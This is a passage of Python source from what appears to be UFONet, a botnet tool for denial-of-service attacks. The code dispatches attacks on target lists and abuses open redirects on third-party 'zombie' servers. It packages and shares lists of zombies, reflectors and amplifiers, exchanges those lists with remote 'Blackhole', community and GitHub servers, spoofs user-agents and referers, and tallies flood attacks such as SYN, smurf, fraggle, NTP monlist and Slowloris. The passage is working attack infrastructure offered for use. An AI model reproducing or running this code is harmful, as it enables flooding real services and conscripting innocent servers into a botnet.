  1169. if c == len(targets):
  1170. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1171. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1172. else:
  1173. for target in targets:
  1174. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1175. target = self.options.target
  1176. print('='*55 + "\n")
  1177. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1178. print("="*55)
  1179. attack = self.attacking(zombies, target)
  1180. self.update_missions_stats() # update mothership missions stats (each target counts)
  1181. except Exception:
  1182. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1183. if DEBUG == True:
  1184. traceback.print_exc()
  1185. # inspect target -> inspect target's components sizes
  1186. if options.inspect:
  1187. try:
  1188. self.banner()
  1189. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1190. print('='*22 + '\n')
  1191. self.instance = Inspector(self) # instance main class for inspection operations
  1192. inspection = self.instance.inspecting(options.inspect)
  1193. self.update_missions_stats() # update mothership missions stats
  1194. except Exception as e:
  1195. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1196. if DEBUG == True:
  1197. traceback.print_exc()
  1198. return #sys.exit(2)
  1199. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1200. if options.abduction:
  1201. try:
  1202. self.banner()
  1203. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1204. print('='*22 + '\n')
  1205. self.instance = Abductor(self) # instance main class for abduction operations
  1206. abduction = self.instance.abducting(options.abduction)
  1207. self.update_missions_stats() # update mothership missions stats
  1208. except Exception as e:
  1209. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1210. if DEBUG == True:
  1211. traceback.print_exc()
  1212. return #sys.exit(2)
  1213. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1214. if options.attackme:
  1215. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1216. try:
  1217. self.banner()
  1218. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1219. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1220. if not self.options.forceyes:
  1221. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1222. else:
  1223. update_reply = "Y"
  1224. if update_reply == "n" or update_reply == "N":
  1225. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1226. return
  1227. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1228. print("\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash)
  1229. print("\n[AI] Checking NAT/IP configuration:\n")
  1230. nat = self.check_nat()
  1231. f = open("alien", "w") # generate random alien worker
  1232. f.write(str(self.mothership_hash))
  1233. f.close()
  1234. if self.nat_error_flag == "ON":
  1235. return
  1236. zombies = self.extract_zombies()
  1237. if not zombies:
  1238. return
  1239. attackme = self.attackme(zombies)
  1240. self.update_missions_stats() # update mothership missions stats
  1241. except Exception as e:
  1242. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1243. if DEBUG == True:
  1244. traceback.print_exc()
  1245. return #sys.exit(2)
  1246. # check/update for latest stable version
  1247. if options.update:
  1248. self.banner()
  1249. try:
  1250. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1251. Updater()
  1252. except:
  1253. print("Not any .git repository found!\n")
  1254. print("="*30)
  1255. print("\nTo have working this feature, you should clone UFONet with:\n")
  1256. print("$ git clone %s" % self.GIT_REPOSITORY)
  1257. print("\nAlso you can try this other mirror:\n")
  1258. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1259. # launch GUI/Web interface
  1260. if options.web:
  1261. self.create_web_interface()
  1262. return
  1263. # deploy data to share in [/var/www/ufonet]
  1264. if options.deploy is not None:
  1265. self.banner()
  1266. euid = self.checkeuid()
  1267. if euid != 0:
  1268. print("\n[Info] [AI] [Control] [DEPLOY] (--deploy) not started as root...\n")
  1269. try:
  1270. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  1271. os.execlpe('sudo', *args)
  1272. except:
  1273. pass
  1274. try:
  1275. print("\n[AI] Trying to deploy data to share in: '"+self.warping_path+"'\n")
  1276. np = r''+self.warping_path+''
  1277. if not os.path.exists(np):
  1278. os.makedirs(np)
  1279. print("[AI] Created folder at: '"+self.warping_path+"'\n")
  1280. else:
  1281. print("[AI] Path to folder: '"+self.warping_path+"' exists! -> [PASSING!]\n")
  1282. from pathlib import Path # import pathlib
  1283. import shutil # import shutil
  1284. src = 'data/'
  1285. files=os.listdir(src)
  1286. print("[AI] GUI [Data] has been deployed...\n")
  1287. for fname in files:
  1288. shutil.copy2(os.path.join(src,fname), self.warping_path)
  1289. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1290. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1291. print("")
  1292. src2 = 'botnet/'
  1293. files=os.listdir(src2)
  1294. print("[AI] CORE [Botnet] has been deployed...\n")
  1295. for fname in files:
  1296. shutil.copy2(os.path.join(src2,fname), self.warping_path)
  1297. if fname == 'zombies.txt':
  1298. in_file = self.warping_path+"/"+fname
  1299. in_data = open(in_file, "rb").read()
  1300. out_gz = self.warping_path+"/"+"abductions.txt.gz"
  1301. gzf = gzip.open(out_gz, "wb")
  1302. gzf.write(in_data)
  1303. gzf.close()
  1304. os.unlink(in_file)
  1305. print(" - "+fname+" -> "+self.warping_path+"/"+"abductions.txt.gz")
  1306. os.chmod(self.warping_path+"/"+"abductions.txt.gz", self.warping_folder_permissions)
  1307. if fname == 'aliens.txt':
  1308. in_file = self.warping_path+"/"+fname
  1309. in_data = open(in_file, "rb").read()
  1310. out_gz = self.warping_path+"/"+"troops.txt.gz"
  1311. gzf = gzip.open(out_gz, "wb")
  1312. gzf.write(in_data)
  1313. gzf.close()
  1314. os.unlink(in_file)
  1315. print(" - "+fname+" -> "+self.warping_path+"/"+"troops.txt.gz")
  1316. os.chmod(self.warping_path+"/"+"troops.txt.gz", self.warping_folder_permissions)
  1317. if fname == 'droids.txt':
  1318. in_file = self.warping_path+"/"+fname
  1319. in_data = open(in_file, "rb").read()
  1320. out_gz = self.warping_path+"/"+"robots.txt.gz"
  1321. gzf = gzip.open(out_gz, "wb")
  1322. gzf.write(in_data)
  1323. gzf.close()
  1324. os.unlink(in_file)
  1325. print(" - "+fname+" -> "+self.warping_path+"/"+"robots.txt.gz")
  1326. os.chmod(self.warping_path+"/"+"robots.txt.gz", self.warping_folder_permissions)
  1327. if fname == 'ucavs.txt':
  1328. in_file = self.warping_path+"/"+fname
  1329. in_data = open(in_file, "rb").read()
  1330. out_gz = self.warping_path+"/"+"drones.txt.gz"
  1331. gzf = gzip.open(out_gz, "wb")
  1332. gzf.write(in_data)
  1333. gzf.close()
  1334. os.unlink(in_file)
  1335. print(" - "+fname+" -> "+self.warping_path+"/"+"drones.txt.gz")
  1336. os.chmod(self.warping_path+"/"+"drones.txt.gz", self.warping_folder_permissions)
  1337. if fname == 'rpcs.txt':
  1338. in_file = self.warping_path+"/"+fname
  1339. in_data = open(in_file, "rb").read()
  1340. out_gz = self.warping_path+"/"+"reflectors.txt.gz"
  1341. gzf = gzip.open(out_gz, "wb")
  1342. gzf.write(in_data)
  1343. gzf.close()
  1344. os.unlink(in_file)
  1345. print(" - "+fname+" -> "+self.warping_path+"/"+"reflectors.txt.gz")
  1346. os.chmod(self.warping_path+"/"+"reflectors.txt.gz", self.warping_folder_permissions)
  1347. if fname == 'snmp.txt':
  1348. in_file = self.warping_path+"/"+fname
  1349. in_data = open(in_file, "rb").read()
  1350. out_gz = self.warping_path+"/"+"bosons.txt.gz"
  1351. gzf = gzip.open(out_gz, "wb")
  1352. gzf.write(in_data)
  1353. gzf.close()
  1354. os.unlink(in_file)
  1355. print(" - "+fname+" -> "+self.warping_path+"/"+"bosons.txt.gz")
  1356. os.chmod(self.warping_path+"/"+"bosons.txt.gz", self.warping_folder_permissions)
  1357. if fname == 'ntp.txt':
  1358. in_file = self.warping_path+"/"+fname
  1359. in_data = open(in_file, "rb").read()
  1360. out_gz = self.warping_path+"/"+"crystals.txt.gz"
  1361. gzf = gzip.open(out_gz, "wb")
  1362. gzf.write(in_data)
  1363. gzf.close()
  1364. os.unlink(in_file)
  1365. print(" - "+fname+" -> "+self.warping_path+"/"+"crystals.txt.gz")
  1366. os.chmod(self.warping_path+"/"+"crystals.txt.gz", self.warping_folder_permissions)
  1367. if fname == 'dns.txt':
  1368. in_file = self.warping_path+"/"+fname
  1369. in_data = open(in_file, "rb").read()
  1370. out_gz = self.warping_path+"/"+"warps.txt.gz"
  1371. gzf = gzip.open(out_gz, "wb")
  1372. gzf.write(in_data)
  1373. gzf.close()
  1374. os.unlink(in_file)
  1375. print(" - "+fname+" -> "+self.warping_path+"/"+"warps.txt.gz")
  1376. os.chmod(self.warping_path+"/"+"warps.txt.gz", self.warping_folder_permissions)
  1377. if fname == 'dorks.txt':
  1378. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1379. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1380. print("")
  1381. print("[AI] [Info] [Control] [DEPLOY] Files are ready to be shared with other 'motherships'...\n\n[AI] [Info] [DEPLOY] Other requirements:\n")
  1382. print(" - 1) Setup web server (apache, nginx...)")
  1383. print(" - 2) Make your web server accessible from the Internet (NAT/VPS) <-> ex: 'http(s)://<your ip>/ufonet/'")
  1384. print(" - 3a) Start [Blackhole] with: './ufonet --blackhole' (or python3 ufonet --blackhole &)")
  1385. print(" - 3b) Start [Grider] with: './ufonet --grider' (or python3 ufonet --grider &)")
  1386. print(" - 4) Share your IP on the sneaknet! (ex: SHIP.RADAR) ;-)")
  1387. print("")
  1388. except Exception as e:
  1389. print("[Error] "+str(e))
  1390. print("\n[AI] Something was wrong deploying in: '/var/www/ufonet'... -> [Aborting!]\n")
  1391. # generate [Blackhole] server to share [Zombies]
  1392. if options.blackhole is not None:
  1393. self.banner()
  1394. try:
  1395. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1396. sys.path.append(blackhole_lib)
  1397. from core.tools.blackhole import BlackHole
  1398. print("\n[AI] Initiating void generation sequence...\n")
  1399. print('='*22 + '\n')
  1400. app = BlackHole()
  1401. app.start()
  1402. while True: time.sleep(1)
  1403. except KeyboardInterrupt:
  1404. print("\n[AI] Terminating void generation sequence...\n")
  1405. app.collapse()
  1406. except Exception as e:
  1407. print("[Error] "+str(e))
  1408. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1409. # create [Grider] server to share [Stats/Wargames/Messages]
  1410. if options.grider is not None:
  1411. self.banner()
  1412. try:
  1413. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1414. sys.path.append(grider_lib)
  1415. from core.tools.grider import Grider
  1416. print("\n[AI] Initiating void generation sequence...\n")
  1417. print('='*22 + '\n')
  1418. app = Grider()
  1419. app.start()
  1420. while True: time.sleep(1)
  1421. except KeyboardInterrupt:
  1422. print("\n[AI] Terminating void generation sequence...\n")
  1423. app.collapse()
  1424. except Exception as e:
  1425. print("[Error] "+str(e))
  1426. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1427. # download list of [Zombies] from a [Blackhole] IP
  1428. if options.dip is not None:
  1429. options.download = True
  1430. self.blackhole = options.dip
  1431. # upload list of [Zombies] to a [Blackhole] IP
  1432. if options.upip is not None:
  1433. options.upload = True
  1434. self.blackhole = options.upip
  1435. # download list of [Zombies] from Community server [20/01/2020 OK!]
  1436. if options.download:
  1437. try:
  1438. self.banner()
  1439. if options.dip is not None:
  1440. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1441. else:
  1442. print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
  1443. print('='*22 + '\n')
  1444. download_list = self.downloading_list()
  1445. except Exception as e:
  1446. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1447. return
  1448. # upload list of [Zombies] to Community server [20/01/2020 OK!]
  1449. if options.upload:
  1450. try:
  1451. self.banner()
  1452. if options.upip is not None:
  1453. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1454. else:
  1455. print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
  1456. print('='*22 + '\n')
  1457. upload_list = self.uploading_list()
  1458. except Exception as e:
  1459. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1460. if DEBUG == True:
  1461. traceback.print_exc()
  1462. return #sys.exit(2)
  1463. # download list of [Zombies] from GitHub server [20/01/2020 OK!]
  1464. if options.download_github:
  1465. try:
  1466. self.banner()
  1467. print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
  1468. print('='*22 + '\n')
  1469. download_github_list = self.downloading_github_list()
  1470. except Exception as e:
  1471. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1472. return
  1473. # upload list of [Zombies] to GitHub server [20/01/2020 OK!]
  1474. if options.upload_github:
  1475. try:
  1476. self.banner()
  1477. print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
  1478. print('='*22 + '\n')
  1479. upload_github_list = self.uploading_github_list()
  1480. except Exception as e:
  1481. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1482. if DEBUG == True:
  1483. traceback.print_exc()
  1484. return #sys.exit(2)
  1485. # starting new zombie thread
  1486. def connect_zombies(self, zombie):
  1487. z=Zombie(self, zombie)
  1488. t = threading.Thread(target=z.connect, name=zombie)
  1489. t.start()
  1490. # single connection handling
  1491. def connect_zombie(self, zombie):
  1492. z=Zombie(self,zombie)
  1493. return z.connect()
  1494. def extract_proxy(self, proxy):
  1495. sep = ":"
  1496. proxy_ip = proxy.rsplit(sep, 1)[0]
  1497. if proxy_ip.startswith('http://'):
  1498. proxy_ip = proxy_ip.replace('http://', '')
  1499. elif proxy_ip.startswith('https://'):
  1500. proxy_ip = proxy_ip.replace('https://', '')
  1501. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1502. proxy_ip = 'localhost'
  1503. proxy_port = proxy.rsplit(sep, 1)[1]
  1504. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1505. return proxy_url
  1506. def proxy_transport(self, proxy):
  1507. proxy_url = self.extract_proxy(proxy)
  1508. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  1509. opener = urllib.request.build_opener(proxy)
  1510. urllib.request.install_opener(opener)
  1511. def check_mothership_chargo(self):
  1512. f = open(self.zombies_file)
  1513. self.zombies = f.readlines()
  1514. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1515. self.list_zombies = []
  1516. for zombie in self.zombies:
  1517. t = urlparse(zombie)
  1518. name_zombie = t.netloc
  1519. if name_zombie == "":
  1520. name_zombie = zombie
  1521. self.list_zombies.append(name_zombie)
  1522. self.num_zombies = str(len(self.zombies))
  1523. f.close()
  1524. f = open(self.aliens_file)
  1525. self.aliens = f.readlines()
  1526. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1527. self.list_aliens = []
  1528. for alien in self.aliens:
  1529. t = urlparse(alien)
  1530. name_alien = t.netloc
  1531. if name_alien == "":
  1532. name_alien = alien
  1533. self.list_aliens.append(name_alien)
  1534. self.num_aliens = str(len(self.aliens))
  1535. f.close()
  1536. f = open(self.droids_file)
  1537. self.droids = f.readlines()
  1538. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1539. self.list_droids = []
  1540. for droid in self.droids:
  1541. t = urlparse(droid)
  1542. name_droid = t.netloc
  1543. if name_droid == "":
  1544. name_droid = droid
  1545. self.list_droids.append(name_droid)
  1546. self.num_droids = str(len(self.droids))
  1547. f.close()
  1548. f = open(self.ucavs_file)
  1549. self.ucavs = f.readlines()
  1550. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1551. self.list_ucavs = []
  1552. for ucav in self.ucavs:
  1553. t = urlparse(ucav)
  1554. name_ucav = t.netloc
  1555. if name_ucav == "":
  1556. name_ucav = ucav
  1557. self.list_ucavs.append(name_ucav)
  1558. self.num_ucavs = str(len(self.ucavs))
  1559. f.close()
  1560. f = open(self.rpcs_file)
  1561. self.rpcs = f.readlines()
  1562. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1563. self.list_rpcs = []
  1564. for rpc in self.rpcs:
  1565. t = urlparse(rpc)
  1566. name_rpc = t.netloc
  1567. if name_rpc == "":
  1568. name_rpc = rpc
  1569. self.list_rpcs.append(name_rpc)
  1570. self.num_rpcs = str(len(self.rpcs))
  1571. f.close()
  1572. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1573. return self.total_botnet
  1574. def update_flying_stats(self):
  1575. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1576. with open(self.mothership_stats_file, "w") as f:
  1577. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "fraggle": "0", "xmas": "0", "ufoack": "0", "uforst": "0", "droper": "0", "overlap": "0", "pinger": "0", "ufoudp": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "sniper": "0", "crashed": "0"}, f, indent=4) # starting reset
  1578. stats_json_file = open(self.mothership_stats_file, "r")
  1579. data = json.load(stats_json_file)
  1580. stats_json_file.close()
  1581. aflying = data["flying"]
  1582. aflying = str(int(aflying) + 1) # add new flying time
  1583. data["flying"] = aflying
  1584. stats_json_file = open(self.mothership_stats_file, "w+")
  1585. stats_json_file.write(json.dumps(data))
  1586. stats_json_file.close()
  1587. def update_mothership_stats(self):
  1588. stats_json_file = open(self.mothership_stats_file, "r")
  1589. data = json.load(stats_json_file)
  1590. stats_json_file.close()
  1591. acompleted = data["completed"]
  1592. acompleted = str(int(acompleted) + 1) # add new completed attack
  1593. data["completed"] = acompleted
  1594. stats_json_file = open(self.mothership_stats_file, "w+")
  1595. stats_json_file.write(json.dumps(data))
  1596. stats_json_file.close()
  1597. def update_targets_crashed(self):
  1598. stats_json_file = open(self.mothership_stats_file, "r")
  1599. data = json.load(stats_json_file)
  1600. stats_json_file.close()
  1601. tcrashed = data["crashed"]
  1602. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1603. data["crashed"] = tcrashed
  1604. stats_json_file = open(self.mothership_stats_file, "w+")
  1605. stats_json_file.write(json.dumps(data))
  1606. stats_json_file.close()
  1607. def update_missions_stats(self):
  1608. stats_json_file = open(self.mothership_stats_file, "r")
  1609. data = json.load(stats_json_file)
  1610. stats_json_file.close()
  1611. missions = data["missions"]
  1612. missions = str(int(missions) + 1) # add new mission target
  1613. data["missions"] = missions
  1614. stats_json_file = open(self.mothership_stats_file, "w+")
  1615. stats_json_file.write(json.dumps(data))
  1616. stats_json_file.close()
  1617. def update_scanner_stats(self, num):
  1618. stats_json_file = open(self.mothership_stats_file, "r")
  1619. data = json.load(stats_json_file)
  1620. stats_json_file.close()
  1621. scanner = data["scanner"]
  1622. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1623. data["scanner"] = scanner
  1624. stats_json_file = open(self.mothership_stats_file, "w+")
  1625. stats_json_file.write(json.dumps(data))
  1626. stats_json_file.close()
  1627. def update_transferred_stats(self, num):
  1628. stats_json_file = open(self.mothership_stats_file, "r")
  1629. data = json.load(stats_json_file)
  1630. stats_json_file.close()
  1631. transferred = data["transferred"]
  1632. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1633. data["transferred"] = transferred
  1634. stats_json_file = open(self.mothership_stats_file, "w+")
  1635. stats_json_file.write(json.dumps(data))
  1636. stats_json_file.close()
  1637. def update_max_chargo(self, chargo):
  1638. stats_json_file = open(self.mothership_stats_file, "r")
  1639. data = json.load(stats_json_file)
  1640. stats_json_file.close()
  1641. amax_chargo = data["max_chargo"]
  1642. if int(chargo) > int(amax_chargo): # new max chargo found
  1643. amax_chargo = chargo # add new max chargo
  1644. else:
  1645. amax_chargo = data["max_chargo"]
  1646. data["max_chargo"] = amax_chargo
  1647. stats_json_file = open(self.mothership_stats_file, "w+")
  1648. stats_json_file.write(json.dumps(data))
  1649. stats_json_file.close()
  1650. def update_loic_stats(self):
  1651. stats_json_file = open(self.mothership_stats_file, "r")
  1652. data = json.load(stats_json_file)
  1653. stats_json_file.close()
  1654. aloic = data["loic"]
  1655. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1656. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1657. data["loic"] = aloic
  1658. stats_json_file = open(self.mothership_stats_file, "w+")
  1659. stats_json_file.write(json.dumps(data))
  1660. stats_json_file.close()
  1661. def update_loris_stats(self):
  1662. stats_json_file = open(self.mothership_stats_file, "r")
  1663. data = json.load(stats_json_file)
  1664. stats_json_file.close()
  1665. aloris = data["loris"]
  1666. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1667. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1668. data["loris"] = aloris
  1669. stats_json_file = open(self.mothership_stats_file, "w+")
  1670. stats_json_file.write(json.dumps(data))
  1671. stats_json_file.close()
  1672. def update_ufosyn_stats(self):
  1673. stats_json_file = open(self.mothership_stats_file, "r")
  1674. data = json.load(stats_json_file)
  1675. stats_json_file.close()
  1676. aufosyn = data["ufosyn"]
  1677. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1678. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1679. data["ufosyn"] = aufosyn
  1680. stats_json_file = open(self.mothership_stats_file, "w+")
  1681. stats_json_file.write(json.dumps(data))
  1682. stats_json_file.close()
  1683. def update_spray_stats(self):
  1684. stats_json_file = open(self.mothership_stats_file, "r")
  1685. data = json.load(stats_json_file)
  1686. stats_json_file.close()
  1687. aspray = data["spray"]
  1688. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1689. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1690. data["spray"] = aspray
  1691. stats_json_file = open(self.mothership_stats_file, "w+")
  1692. stats_json_file.write(json.dumps(data))
  1693. stats_json_file.close()
  1694. def update_smurf_stats(self):
  1695. stats_json_file = open(self.mothership_stats_file, "r")
  1696. data = json.load(stats_json_file)
  1697. stats_json_file.close()
  1698. asmurf = data["smurf"]
  1699. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1700. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1701. data["smurf"] = asmurf
  1702. stats_json_file = open(self.mothership_stats_file, "w+")
  1703. stats_json_file.write(json.dumps(data))
  1704. stats_json_file.close()
  1705. def update_fraggle_stats(self):
  1706. stats_json_file = open(self.mothership_stats_file, "r")
  1707. data = json.load(stats_json_file)
  1708. stats_json_file.close()
  1709. afraggle = data["fraggle"]
  1710. afraggle = str(int(afraggle) + 1) # add new fraggle attack to recorded stats
  1711. self.total_fraggle = self.total_fraggle + 1 # add new fraggle attack to session stats
  1712. data["fraggle"] = afraggle
  1713. stats_json_file = open(self.mothership_stats_file, "w+")
  1714. stats_json_file.write(json.dumps(data))
  1715. stats_json_file.close()
  1716. def update_xmas_stats(self):
  1717. stats_json_file = open(self.mothership_stats_file, "r")
  1718. data = json.load(stats_json_file)
  1719. stats_json_file.close()
  1720. axmas = data["xmas"]
  1721. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1722. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1723. data["xmas"] = axmas
  1724. stats_json_file = open(self.mothership_stats_file, "w+")
  1725. stats_json_file.write(json.dumps(data))
  1726. stats_json_file.close()
  1727. def update_ufoack_stats(self):
  1728. stats_json_file = open(self.mothership_stats_file, "r")
  1729. data = json.load(stats_json_file)
  1730. stats_json_file.close()
  1731. aufoack = data["ufoack"]
  1732. aufoack = str(int(aufoack) + 1) # add new ufoack attack to recorded stats
  1733. self.total_ufoack = self.total_ufoack + 1 # add new ufoack attack to session stats
  1734. data["ufoack"] = aufoack
  1735. stats_json_file = open(self.mothership_stats_file, "w+")
  1736. stats_json_file.write(json.dumps(data))
  1737. stats_json_file.close()
  1738. def update_uforst_stats(self):
  1739. stats_json_file = open(self.mothership_stats_file, "r")
  1740. data = json.load(stats_json_file)
  1741. stats_json_file.close()
  1742. auforst = data["uforst"]
  1743. auforst = str(int(auforst) + 1) # add new uforst attack to recorded stats
  1744. self.total_uforst = self.total_uforst + 1 # add new uforst attack to session stats
  1745. data["uforst"] = auforst
  1746. stats_json_file = open(self.mothership_stats_file, "w+")
  1747. stats_json_file.write(json.dumps(data))
  1748. stats_json_file.close()
  1749. def update_droper_stats(self):
  1750. stats_json_file = open(self.mothership_stats_file, "r")
  1751. data = json.load(stats_json_file)
  1752. stats_json_file.close()
  1753. adroper = data["droper"]
  1754. adroper = str(int(adroper) + 1) # add new droper attack to recorded stats
  1755. self.total_droper = self.total_droper + 1 # add new droper attack to session stats
  1756. data["droper"] = adroper
  1757. stats_json_file = open(self.mothership_stats_file, "w+")
  1758. stats_json_file.write(json.dumps(data))
  1759. stats_json_file.close()
  1760. def update_overlap_stats(self):
  1761. stats_json_file = open(self.mothership_stats_file, "r")
  1762. data = json.load(stats_json_file)
  1763. stats_json_file.close()
  1764. aoverlap = data["overlap"]
  1765. aoverlap = str(int(aoverlap) + 1) # add new overlap attack to recorded stats
  1766. self.total_overlap = self.total_overlap + 1 # add new overlap attack to session stats
  1767. data["overlap"] = aoverlap
  1768. stats_json_file = open(self.mothership_stats_file, "w+")
  1769. stats_json_file.write(json.dumps(data))
  1770. stats_json_file.close()
  1771. def update_pinger_stats(self):
  1772. stats_json_file = open(self.mothership_stats_file, "r")
  1773. data = json.load(stats_json_file)
  1774. stats_json_file.close()
  1775. apinger = data["pinger"]
  1776. apinger = str(int(apinger) + 1) # add new pinger attack to recorded stats
  1777. self.total_pinger = self.total_pinger + 1 # add new pinger attack to session stats
  1778. data["pinger"] = apinger
  1779. stats_json_file = open(self.mothership_stats_file, "w+")
  1780. stats_json_file.write(json.dumps(data))
  1781. stats_json_file.close()
  1782. def update_ufoudp_stats(self):
  1783. stats_json_file = open(self.mothership_stats_file, "r")
  1784. data = json.load(stats_json_file)
  1785. stats_json_file.close()
  1786. aufoudp = data["ufoudp"]
  1787. aufoudp = str(int(aufoudp) + 1) # add new ufoudp attack to recorded stats
  1788. self.total_ufoudp = self.total_ufoudp + 1 # add new ufoudp attack to session stats
  1789. data["ufoudp"] = aufoudp
  1790. stats_json_file = open(self.mothership_stats_file, "w+")
  1791. stats_json_file.write(json.dumps(data))
  1792. stats_json_file.close()
  1793. def update_nuke_stats(self):
  1794. stats_json_file = open(self.mothership_stats_file, "r")
  1795. data = json.load(stats_json_file)
  1796. stats_json_file.close()
  1797. anuke = data["nuke"]
  1798. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1799. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1800. data["nuke"] = anuke
  1801. stats_json_file = open(self.mothership_stats_file, "w+")
  1802. stats_json_file.write(json.dumps(data))
  1803. stats_json_file.close()
  1804. def update_tachyon_stats(self):
  1805. stats_json_file = open(self.mothership_stats_file, "r")
  1806. data = json.load(stats_json_file)
  1807. stats_json_file.close()
  1808. atachyon = data["tachyon"]
  1809. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1810. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1811. data["tachyon"] = atachyon
  1812. stats_json_file = open(self.mothership_stats_file, "w+")
  1813. stats_json_file.write(json.dumps(data))
  1814. stats_json_file.close()
  1815. def update_monlist_stats(self):
  1816. stats_json_file = open(self.mothership_stats_file, "r")
  1817. data = json.load(stats_json_file)
  1818. stats_json_file.close()
  1819. amonlist = data["monlist"]
  1820. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  1821. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  1822. data["monlist"] = amonlist
  1823. stats_json_file = open(self.mothership_stats_file, "w+")
  1824. stats_json_file.write(json.dumps(data))
  1825. stats_json_file.close()
  1826. def update_sniper_stats(self):
  1827. stats_json_file = open(self.mothership_stats_file, "r")
  1828. data = json.load(stats_json_file)
  1829. stats_json_file.close()
  1830. asniper = data["sniper"]
  1831. asniper = str(int(asniper) + 1) # add new sniper attack to recorded stats
  1832. self.total_sniper = self.total_sniper + 1 # add new sniper attack to session stats
  1833. data["sniper"] = asniper
  1834. stats_json_file = open(self.mothership_stats_file, "w+")
  1835. stats_json_file.write(json.dumps(data))
  1836. stats_json_file.close()
  1837. def uploading_list(self):
  1838. from io import BytesIO
  1839. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1840. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1841. abductions = "botnet/abductions.txt.gz"
  1842. troops = "botnet/troops.txt.gz"
  1843. robots = "botnet/robots.txt.gz"
  1844. drones = "botnet/drones.txt.gz"
  1845. reflectors = "botnet/reflectors.txt.gz"
  1846. crystals = "botnet/crystals.txt.gz"
  1847. warps = "botnet/warps.txt.gz"
  1848. bosons = "botnet/bosons.txt.gz"
  1849. if self.options.timeout: # set timeout
  1850. try:
  1851. timeout = int(self.options.timeout)
  1852. except:
  1853. timeout = 5
  1854. else:
  1855. timeout = 5
  1856. if timeout < 1:
  1857. timeout = 5
  1858. try:
  1859. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
